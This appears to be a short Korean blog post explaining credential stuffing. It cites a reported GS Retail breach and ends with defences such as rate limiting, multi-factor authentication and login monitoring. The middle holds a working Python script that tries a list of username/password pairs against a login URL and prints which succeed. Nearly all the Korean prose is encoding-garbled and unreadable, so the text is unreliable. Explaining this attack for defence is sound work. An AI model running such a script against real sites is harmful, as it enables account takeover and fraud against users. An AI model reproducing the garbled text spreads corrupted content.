Credential Stuffing ์ด๋
์ต๊ทผ์ GS๋ฆฌํ ์ผ์์ ๋ฐ์ํ ํดํน ์ด์
'Credential Stuffing'
https://news.einfomax.co.kr/news/articleView.html?idxno=4338786
GS๋ฆฌํ ์ผ, ์น์ฌ์ดํธ ํดํน ๊ณต๊ฒฉ์ 9๋ง๋ช ๊ณ ๊ฐ ์ ๋ณด ์ผ๋ถ ์ ์ถ - ์ฐํฉ์ธํฌ๋งฅ์ค
GS๋ฆฌํ ์ผ์ ์ง๋ 27์ผ๋ถํฐ 4์ผ๊น์ง ์ด๋ฃจ์ด์ง ์น์ฌ์ดํธ ํดํน ๊ณต๊ฒฉ์ผ๋ก 9๋ง์ฌ๋ช ์ ๊ฐ์ธ์ ๋ณด ์ผ๋ถ๊ฐ ์ ์ถ๋๋ค๊ณ 6์ผ ๋ฐํ๋ค.์ ์ถ๋ ๊ฒ์ผ๋ก ์ถ์ ๋๋ ์ ๋ณด๋ ์ด๋ฆ, ์ฑ๋ณ, ์๋ ์์ผ, ์ฐ๋ฝ์ฒ, ์ฃผ์, ์
news.einfomax.co.kr
์ด๊ฑธ๋ก ์ธํด 9๋ง๋ช ์ด๋ ๋๋ ๊ณ ๊ฐ ์ ๋ณด๊ฐ ์ ์ถ์ด ๋๋ ์ฌ๊ณ ๊ฐ ๋ฐ์ํ๋ค.
Credential Stuffing ์ด ๋ฌด์์ผ๊น?
๊ณต๊ฒฉ์๋ฆฌ :
์๋ํ๋ ๋๊ตฌ๋ฅผ ์ฌ์ฉํ์ฌ ๋ค์ํ ์น์ฌ์ดํธ ๋ฐ ์ ํ๋ฆฌ์ผ์ด์ ์ ๋ํด ๋๋๋นํ ๋ก๊ทธ์ธ ์๊ฒฉ ์ฆ๋ช (์ฌ์ฉ์ ์ด๋ฆ ๋ฐ ๋น๋ฐ๋ฒํธ ์)์ ๋๋์ผ๋ก ํ ์คํธํ๋ ์ผ์ข ์ ์ฌ์ด๋ฒ ๊ณต๊ฒฉ์ด๋ค.
๋ชฉํ:
์ ์ ๋์ฉ, ๊ธ์ต ์ฌ๊ธฐ, ์คํธ ๋ฐ์ก ๋ฑ์ ์ฌ๊ธฐ ํ์์ ์ฌ์ฉ๋ ์ ์๋ค.
์์:
import requests
# Example credential list (testing purposes only)
credentials = [
{"username": "test1@example.com", "password": "password123"},
{"username": "test2@example.com", "password": "letmein123"},
{"username": "admin@example.com", "password": "admin123"},
]
# Target URL (replace with your testing server)
target_url = "http://example.com/login"
# Loop through credentials and attempt login
for credential in credentials:
response = requests.post(
target_url,
data={
"username": credential["username"],
"password": credential["password"]
}
)
# Log the result
if response.status_code == 200 and "Welcome" in response.text:
print(f"Success: {credential['username']} / {credential['password']}")
else:
print(f"Failed: {credential['username']} / {credential['password']}")
๋์ ๋ฐฉ์:
๊ธฐ๋ณธ์ ์ผ๋ก
1. ์น์ฌ์ดํธ ์๋ ์ ํ
2. ๋ค๋จ๊ณ ์ธ์ฆ
3. ์์ฌ์ค๋ก์ด ๋ก๊ทธ์ธ ํ๋ ๋ชจ๋ํฐ๋ง
๊ณ ๋ํ๋ก
1. ๊ณ ๋ํ๋ ์๋ฃจ์ ๋์